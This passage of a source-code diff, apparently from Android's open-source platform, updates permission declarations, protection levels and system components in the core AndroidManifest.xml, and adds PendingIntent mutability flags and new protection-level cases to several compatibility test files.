-         users on the device. Applications holding this permission can only create restricted,
-         guest, managed, demo, and ephemeral users. For creating other kind of users,
+         users on the device. Applications holding this permission can create users (including
+         normal, restricted, guest, managed, and demo users) and can optionally endow them with the
+         ephemeral property. For creating users with other kinds of properties,
          {@link android.Manifest.permission#MANAGE_USERS} is needed.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.CREATE_USERS"
@@ -2514,7 +2587,8 @@
     <permission android:name="android.permission.REMOVE_TASKS"
         android:protectionLevel="signature|documenter" />
 
-    <!-- @Deprecated @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
+    <!-- @deprecated Use MANAGE_ACTIVITY_TASKS instead.
+         @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
         android:protectionLevel="signature" />
 
@@ -2532,8 +2606,7 @@
     <permission android:name="android.permission.START_ANY_ACTIVITY"
         android:protectionLevel="signature" />
 
-    <!-- Allows an application to start activities from background
-         @hide -->
+    <!-- @SystemApi @hide Allows an application to start activities from background -->
     <permission android:name="android.permission.START_ACTIVITIES_FROM_BACKGROUND"
         android:protectionLevel="signature|privileged|vendorPrivileged|oem|verifier" />
 
@@ -2602,11 +2675,17 @@
          The app can check whether it has this authorization by calling
          {@link android.provider.Settings#canDrawOverlays
          Settings.canDrawOverlays()}.
-         <p>Protection level: signature|preinstalled|appop|pre23|development -->
+         <p>Protection level: signature|appop|preinstalled|pre23|development -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
         android:label="@string/permlab_systemAlertWindow"
         android:description="@string/permdesc_systemAlertWindow"
-        android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+        android:protectionLevel="signature|appop|preinstalled|pre23|development" />
+
+    <!-- @SystemApi @hide Allows the holder to create privileged application overlays that can not
+         be hidden by other applications
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.SYSTEM_APPLICATION_OVERLAY"
+                android:protectionLevel="signature|wellbeing"/>
 
     <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
          @hide
@@ -2663,11 +2742,11 @@
                 android:protectionLevel="signature|privileged" />
 
     <!-- Allows an app to read and listen to projection state.
-            @hide
-            @SystemApi
-       -->
+         @hide
+         @SystemApi
+    -->
     <permission android:name="android.permission.READ_PROJECTION_STATE"
-        android:protectionLevel="signature" />
+                android:protectionLevel="signature" />
 
     <!-- Allows an app to set and release automotive projection.
          <p>Once permissions can be granted via role-only, this needs to be changed to
@@ -2676,7 +2755,11 @@
          @SystemApi
     -->
     <permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"
-        android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged" />
+
+    <!-- Allows an app to prevent non-system-overlay windows from being drawn on top of it -->
+    <permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"
+                android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the system wallpaper -->
@@ -2743,7 +2826,7 @@
     <!-- Allows applications like settings to manage configuration associated with automatic time
          and time zone detection.
          <p>Not for use by third-party applications.
-         @hide
+         @SystemApi @hide
     -->
     <permission android:name="android.permission.MANAGE_TIME_AND_ZONE_DETECTION"
         android:protectionLevel="signature|privileged" />
@@ -2863,7 +2946,7 @@
     <permission android:name="android.permission.READ_DEVICE_CONFIG"
         android:protectionLevel="signature|preinstalled" />
 
-    <!-- @hide Allows an application to monitor config settings access.
+    <!-- @hide Allows an application to monitor {@link android.provider.Settings.Config} access.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MONITOR_DEVICE_CONFIG_ACCESS"
         android:protectionLevel="signature"/>
@@ -3014,7 +3097,7 @@
     <!-- @SystemApi Allows an application to read system update info.
          @hide -->
     <permission android:name="android.permission.READ_SYSTEM_UPDATE_INFO"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to bind to an application's task services
          @hide -->
@@ -3069,6 +3152,11 @@
     <permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to set, update and remove the credential management app.
+         @hide -->
+    <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
+                android:protectionLevel="signature" />
+
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
     <!-- ========================================= -->
@@ -3166,8 +3254,8 @@
         android:protectionLevel="signature" />
 
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
-    @hide -->
-    // TODO: remove telephony once decouple settings activity from phone process
+        @hide
+        @SystemApi -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
         android:protectionLevel="signature" />
 
@@ -3179,8 +3267,7 @@
 
     <!-- Allows SystemUI to request third party controls.
          <p>Should only be requested by the System and required by
-         ControlsService declarations.
-         @hide
+         {@link android.service.controls.ControlsProviderService} declarations.
     -->
     <permission android:name="android.permission.BIND_CONTROLS"
         android:protectionLevel="signature" />
@@ -3233,6 +3320,7 @@
          {@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
          to hide non-system-overlay windows.
          <p>Not for use by third-party applications.
+         @deprecated Use {@link android.Manifest.permission#HIDE_OVERLAY_WINDOWS} instead
          @hide
     -->
     <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
@@ -3505,14 +3593,6 @@
     <permission android:name="android.permission.BIND_TEXTCLASSIFIER_SERVICE"
                 android:protectionLevel="signature" />
 
-    <!-- Must be required by a android.service.musicrecognition.MusicRecognitionService,
-         to ensure that only the system can bind to it.
-         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
-         <p>Protection level: signature
-    -->
-    <permission android:name="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
-                android:protectionLevel="signature" />
-
     <!-- Must be required by a android.service.contentcapture.ContentCaptureService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3521,6 +3601,14 @@
     <permission android:name="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
                 android:protectionLevel="signature" />
 
+    <!-- Must be required by a android.service.translation.TranslationService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_TRANSLATION_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- Must be required by a android.service.contentsuggestions.ContentSuggestionsService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3529,6 +3617,14 @@
     <permission android:name="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
                 android:protectionLevel="signature" />
 
+    <!-- Must be declared by a android.service.musicrecognition.MusicRecognitionService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- Must be required by a android.service.autofill.augmented.AugmentedAutofillService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3538,14 +3634,14 @@
                 android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.voice.VoiceInteractionService} implementation
-      to enroll its own sound models. This is a more restrictive permission than the higher-level
-      permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
-      this permission, it must hold the permission and be the active VoiceInteractionService in
-      the system.
-      {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
-      @hide -->
+         to enroll its own sound models. This is a more restrictive permission than the higher-level
+         permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
+         this permission, it must hold the permission and be the active VoiceInteractionService in
+         the system.
+         {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
+         @hide -->
     <permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a keyphrase enrollment application, to enroll sound models. This is
          treated as a higher-level permission to MANAGE_VOICE_KEYPHRASES as a caller can enroll
@@ -3554,7 +3650,7 @@
          only.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.KEYPHRASE_ENROLLMENT_APPLICATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
          to ensure that only the system can bind to it.
@@ -3626,6 +3722,7 @@
          @hide -->
     <permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID"
          android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID" />
 
     <!-- This permission is required by Media Resource Observer Service when
          accessing its registerObserver Api.
@@ -3752,6 +3849,17 @@
     <permission android:name="com.android.permission.INSTALL_EXISTING_PACKAGES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to use the package installer v2 APIs.
+         <p>The package installer v2 APIs are still a work in progress and we're
+         currently validating they work in all scenarios.
+         <p>Not for use by third-party applications.
+         TODO(b/152310230): use this permission to protect only Incremental installations
+         once the APIs are confirmed to be sufficient.
+         @hide
+    -->
+    <permission android:name="com.android.permission.USE_INSTALLER_V2"
+        android:protectionLevel="signature|verifier" />
+
     <!-- @SystemApi @TestApi Allows an application to clear user data.
          <p>Not for use by third-party applications
          @hide
@@ -3858,11 +3966,12 @@
     <permission android:name="android.permission.ADJUST_RUNTIME_PERMISSIONS_POLICY"
                 android:protectionLevel="signature|installer" />
 
-    <!-- @hide Allows an application to upgrade runtime permissions. -->
+    <!-- @SystemApi @TestApi Allows an application to upgrade runtime permissions.
+    @hide -->
     <permission android:name="android.permission.UPGRADE_RUNTIME_PERMISSIONS"
                 android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows an application to whitelist restricted permissions
+    <!-- @SystemApi Allows an application to allowlist restricted permissions
          on any of the whitelists.
     @hide -->
     <permission android:name="android.permission.WHITELIST_RESTRICTED_PERMISSIONS"
@@ -3898,6 +4007,12 @@
     <permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
                 android:protectionLevel="signature" />
 
+    <!-- Allows an application to subscribe to notifications about the presence status change
+         of their associated companion device
+         -->
+    <permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE"
+                android:protectionLevel="normal" />
+
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
@@ -3905,6 +4020,14 @@
     <permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to rotate a surface by arbitrary degree.
+         This is a sub-feature of ACCESS_SURFACE_FLINGER and can be granted in a more concrete way.
+         <p>Not for use by third-party applications.
+         @hide
+    -->
+    <permission android:name="android.permission.ROTATE_SURFACE_FLINGER"
+        android:protectionLevel="signature|recents" />
+
     <!-- Allows an application to take screen shots and more generally
          get access to the frame buffer data.
          <p>Not for use by third-party applications.
@@ -3997,11 +4120,10 @@
          @hide
          @TestApi -->
     <permission android:name="android.permission.OVERRIDE_DISPLAY_MODE_REQUESTS"
-        android:protectionLevel="signature" />
+                android:protectionLevel="signature" />
 
-    <!-- Allows an application to override the display mode requests
-         so the app requested mode will be selected and user settings and display
-         policies will be ignored.
+    <!-- Allows an application to modify the refresh rate switching type. This
+         matches Setting.Secure.MATCH_CONTENT_FRAME_RATE.
          @hide
          @TestApi -->
     <permission android:name="android.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE"
@@ -4020,6 +4142,14 @@
     <permission android:name="android.permission.CONTROL_ALWAYS_ON_VPN"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to capture the audio from tuner input devices types,
+         such as FM_TUNER.
+
+         <p>Not for use by third-party applications.</p>
+         @hide -->
+    <permission android:name="android.permission.CAPTURE_TUNER_AUDIO_INPUT"
+                android:protectionLevel="signature|privileged" />
+
     <!-- Allows an application to capture audio output.
          Use the {@code CAPTURE_MEDIA_OUTPUT} permission if only the {@code USAGE_UNKNOWN}),
          {@code USAGE_MEDIA}) or {@code USAGE_GAME}) usages are intended to be captured.
@@ -4177,7 +4307,8 @@
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS"
-                android:protectionLevel="signature|recents" />
+        android:protectionLevel="signature|privileged|recents" />
+    <uses-permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS" />
 
     <!-- Allows an application to broadcast a notification that an application
          package has been removed.
@@ -4250,7 +4381,10 @@
          set of pages referenced over time.
          <p>Declaring the permission implies intention to use the API and the user of the
          device can grant permission through the Settings application.
-         <p>Protection level: signature|privileged|appop -->
+         <p>Protection level: signature|privileged|appop
+         <p>A data loader has to be the one which provides data to install an app.
+         <p>A data loader has to have both permission:LOADER_USAGE_STATS AND
+         appop:LOADER_USAGE_STATS allowed to be able to access the read logs. -->
     <permission android:name="android.permission.LOADER_USAGE_STATS"
         android:protectionLevel="signature|privileged|appop" />
     <uses-permission android:name="android.permission.LOADER_USAGE_STATS" />
@@ -4265,7 +4399,7 @@
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
+    <!-- @hide @SystemApi Allows an application to temporarily allowlist an inactive app to
          access the network and acquire wakelocks.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
@@ -4550,10 +4684,11 @@
     <permission android:name="android.permission.MANAGE_NOTIFICATIONS"
                 android:protectionLevel="signature" />
 
-    <!-- Allows enabling and disabling notification listeners.
+    <!-- @SystemApi @TestApi Allows adding/removing enabled notification listener components.
         @hide -->
     <permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS"
                 android:protectionLevel="signature|installer" />
+    <uses-permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS" />
 
     <!-- Allows notifications to be colorized
          <p>Not for use by third-party applications. @hide -->
@@ -4563,7 +4698,7 @@
     <!-- Allows access to keyguard secure storage.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|setup" />
 
     <!-- Allows applications to set the initial lockscreen state.
          <p>Not for use by third-party applications. @hide -->
@@ -4595,7 +4730,7 @@
     <!-- Allows the system to control the BiometricDialog (SystemUI). Reserved for the system. @hide -->
     <permission android:name="android.permission.MANAGE_BIOMETRIC_DIALOG"
         android:protectionLevel="signature" />
-    
+
     <!-- Allows an application to control keyguard.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.CONTROL_KEYGUARD"
@@ -4904,7 +5039,7 @@
     <permission android:name="android.permission.ACCESS_VR_STATE"
         android:protectionLevel="signature|preinstalled" />
 
-    <!-- Allows an application to whitelist tasks during lock task mode
+    <!-- Allows an application to allowlist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
         android:protectionLevel="signature|setup" />
@@ -4925,16 +5060,16 @@
     <permission android:name="android.permission.MANAGE_AUTO_FILL"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows an application to invoke the music recognition service.
-         @hide  <p>Not for use by third-party applications.</p> -->
-    <permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION"
-        android:protectionLevel="signature" />
-
     <!-- @SystemApi Allows an application to manage the content capture service.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_CONTENT_CAPTURE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to manage the music recognition service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to manage the content suggestions service.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_CONTENT_SUGGESTIONS"
@@ -4945,6 +5080,11 @@
     <permission android:name="android.permission.MANAGE_APP_PREDICTIONS"
          android:protectionLevel="signature|appPredictor" />
 
+    <!-- @SystemApi Allows an application to manage the search ui service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_SEARCH_UI"
+         android:protectionLevel="signature" />
+
     <!-- Allows an app to set the theme overlay in /vendor/overlay
          being used.
          @hide  <p>Not for use by third-party applications.</p> -->
@@ -5140,16 +5280,12 @@
     <permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY_BY_PORT"
                 android:protectionLevel="signature" />
 
-    <!-- Allows query of any normal app on the device, regardless of manifest declarations. -->
+    <!-- Allows query of any normal app on the device, regardless of manifest declarations.
+        <p>Protection level: normal -->
     <permission android:name="android.permission.QUERY_ALL_PACKAGES"
                 android:protectionLevel="normal" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <!-- @hide @TestApi Allows apps to reset the state of {@link com.android.server.am.AppErrors}.
-         Only for use in CTS tests. -->
-    <permission android:name="android.permission.RESET_APP_ERRORS"
-                android:protectionLevel="signature" />
-
     <!-- @hide Allow the caller to collect debugging data from processes that otherwise
         would require USAGE_STATS. Before sharing this data with other apps, holders
         of this permission are REQUIRED to themselves check that the caller has
@@ -5177,22 +5313,52 @@
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
 
+    <!-- @hide @TestApi Allows apps to reset the state of {@link com.android.server.am.AppErrors}.
+         <p>CTS tests will use UiAutomation.adoptShellPermissionIdentity() to gain access.  -->
+    <permission android:name="android.permission.RESET_APP_ERRORS"
+        android:protectionLevel="signature" />
+
     <!-- @hide Allows an application to create/destroy input consumer. -->
     <permission android:name="android.permission.INPUT_CONSUMER"
                 android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to control the system's device state managed by the
-     {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
-     devices this would grant access to toggle between the folded and unfolded states. -->
+         {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
+         devices this would grant access to toggle between the folded and unfolded states. -->
     <permission android:name="android.permission.CONTROL_DEVICE_STATE"
                 android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.service.attestation.ImpressionAttestationService}
-     to ensure that only the system can bind to it.
-     @hide This is not a third-party API (intended for OEMs and system apps). -->
+         to ensure that only the system can bind to it.
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
     <permission android:name="android.permission.BIND_IMPRESSION_ATTESTATION_SERVICE"
         android:protectionLevel="signature" />
 
+    <!-- @hide @TestApi Allows an application to enable/disable toast rate limiting.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.MANAGE_TOAST_RATE_LIMITING"
+                android:protectionLevel="signature" />
+
+    <!-- Attribution for Geofencing service. -->
+    <attribution android:tag="GeofencingService" android:label="@string/geofencing_service"/>
+    <!-- Attribution for Country Detector. -->
+    <attribution android:tag="CountryDetector" android:label="@string/country_detector"/>
+    <!-- Attribution for Location service. -->
+    <attribution android:tag="LocationService" android:label="@string/location_service"/>
+    <!-- Attribution for Gnss service. -->
+    <attribution android:tag="GnssService" android:label="@string/gnss_service"/>
+    <!-- Attribution for Sensor Notification service. -->
+    <attribution android:tag="SensorNotificationService"
+             android:label="@string/sensor_notification_service"/>
+    <!-- Attribution for Twilight service. -->
+    <attribution android:tag="TwilightService" android:label="@string/twilight_service"/>
+    <!-- Attribution for the Offline LocationTimeZoneProvider, used to detect time zone using
+         on-device data -->
+    <attribution android:tag="OfflineLocationTimeZoneProvider"
+                 android:label="@string/offline_location_time_zone_detection_service_attribution"/>
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
@@ -5207,7 +5373,7 @@
                  android:forceQueryable="true"
                  android:directBootAware="true">
         <activity android:name="com.android.internal.app.ChooserActivity"
-                android:theme="@style/Theme.DeviceDefault.Resolver"
+                android:theme="@style/Theme.DeviceDefault.Chooser"
                 android:finishOnCloseSystemDialogs="true"
                 android:excludeFromRecents="true"
                 android:documentLaunchMode="never"
@@ -5216,13 +5382,13 @@
                 android:process=":ui"
                 android:exported="true"
                 android:visibleToInstantApps="true">
-            <intent-filter>
+            <intent-filter android:priority="100">
                 <action android:name="android.intent.action.CHOOSER" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.VOICE" />
             </intent-filter>
         </activity>
-        <activity android:name="com.android.internal.app.AccessibilityButtonChooserActivity"
+        <activity android:name="com.android.internal.accessibility.dialog.AccessibilityShortcutChooserActivity"
                   android:exported="false"
                   android:theme="@style/Theme.DeviceDefault.Dialog.Alert.DayNight"
                   android:finishOnCloseSystemDialogs="true"
@@ -5237,9 +5403,24 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </activity>
+        <activity android:name="com.android.internal.accessibility.dialog.AccessibilityButtonChooserActivity"
+                  android:exported="false"
+                  android:theme="@style/Theme.DeviceDefault.Resolver"
+                  android:finishOnCloseSystemDialogs="true"
+                  android:excludeFromRecents="true"
+                  android:documentLaunchMode="never"
+                  android:relinquishTaskIdentity="true"
+                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                  android:process=":ui"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="com.android.internal.intent.action.CHOOSE_ACCESSIBILITY_BUTTON" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
         <activity android:name="com.android.internal.app.IntentForwarderActivity"
                 android:finishOnCloseSystemDialogs="true"
-                android:theme="@style/Theme.NoDisplay"
+                android:theme="@style/Theme.Translucent.NoTitleBar"
                 android:excludeFromRecents="true"
                 android:label="@string/user_owner_label"
                 android:exported="true"
@@ -5384,6 +5565,7 @@
         <activity android:name="com.android.internal.app.BlockedAppActivity"
                 android:theme="@style/Theme.Dialog.Confirmation"
                 android:excludeFromRecents="true"
+                android:lockTaskMode="always"
                 android:process=":ui">
         </activity>
 
@@ -5436,7 +5618,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.NetworkWatchlistInstallReceiver"
-                android:exported="true"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_NETWORK_WATCHLIST" />
@@ -5490,7 +5672,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ConversationActionsInstallReceiver"
-                android:exported="true"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CONVERSATION_ACTIONS" />
@@ -5499,7 +5681,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierIdInstallReceiver"
-                android:exported="true"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.os.action.UPDATE_CARRIER_ID_DB" />
@@ -5508,7 +5690,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.EmergencyNumberDbInstallReceiver"
-                android:exported="true"
+                  android:exported="true"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.os.action.UPDATE_EMERGENCY_NUMBER_DB" />
@@ -5517,7 +5699,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.MasterClearReceiver"
-                android:exported="true"
+            android:exported="true"
             android:permission="android.permission.MASTER_CLEAR">
             <intent-filter
                     android:priority="100" >
@@ -5534,7 +5716,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.WallpaperUpdateReceiver"
-                android:exported="true"
+                  android:exported="true"
                   android:permission="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY">
             <intent-filter>
                 <action android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY"/>
@@ -5609,6 +5791,14 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
+        <service android:name="com.android.server.people.data.DataMaintenanceService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
+        <service android:name="com.android.server.profcollect.ProfcollectForwardingService$ProfcollectBGJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
         <service
                 android:name="com.android.server.autofill.AutofillCompatAccessibilityService"
                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
@@ -5628,12 +5818,32 @@
         </service>
 
         <service android:name="com.android.server.pm.PackageManagerShellCommandDataLoader"
-            android:exported="true">
+            android:exported="false">
             <intent-filter>
-                <action android:name="android.intent.action.LOAD_DATA" />
+                <action android:name="android.intent.action.LOAD_DATA"/>
             </intent-filter>
         </service>
 
+        <!-- AOSP configures a default secondary LocationTimeZoneProvider that uses an on-device
+             data set from the com.android.geotz APEX. -->
+        <uses-library android:name="com.android.location.provider" />
+        <service android:name="com.android.timezone.geotz.provider.OfflineLocationTimeZoneService"
+                 android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.location.timezone.service.v1.SecondaryLocationTimeZoneProvider" />
+            </intent-filter>
+            <meta-data android:name="serviceVersion" android:value="1" />
+            <meta-data android:name="serviceIsMultiuser" android:value="true" />
+        </service>
+
+        <provider
+            android:name="com.android.server.textclassifier.IconsContentProvider"
+            android:authorities="com.android.textclassifier.icons"
+            android:singleUser="true"
+            android:enabled="true"
+            android:exported="true">
+        </provider>
+
     </application>
 
 </manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index 3970da6..7375b1e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -111,7 +111,7 @@
         getContext().registerReceiver(receiver, filter);
 
         PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
         String message = "test message, token=" + token;
@@ -132,9 +132,9 @@
 
     private void sendSMSToSelf(String message) {
         PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
-                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         TelephonyManager telephony = (TelephonyManager)
                  getContext().getSystemService(Context.TELEPHONY_SERVICE);
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 233372c..8f62859 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -341,6 +341,9 @@
                     protectionLevel |= PermissionInfo.PROTECTION_SIGNATURE;
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
                 } break;
+                case "internal": {
+                    protectionLevel |= PermissionInfo.PROTECTION_INTERNAL;
+                } break;
                 case "system": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM;
                 } break;
@@ -407,6 +410,9 @@
                 case "recents": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_RECENTS;
                 } break;
+                case "role": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_ROLE;
+                } break;
             }
         }
         return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index adf25e8..2e73541 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -414,7 +414,8 @@
 
             final Intent intent = new Intent(action);
             final IntentSender intentSender = PendingIntent.getBroadcast(getContext(),
-                    1, intent, PendingIntent.FLAG_ONE_SHOT).getIntentSender();
+                    1, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE)
+                    .getIntentSender();
 
             // Commit as shell to avoid confirm UI
             runWithShellPermissionIdentity(() -> {
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 20a4a6f..bc11b82 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -120,7 +120,7 @@
 
                 PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(),
                         0,
-                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
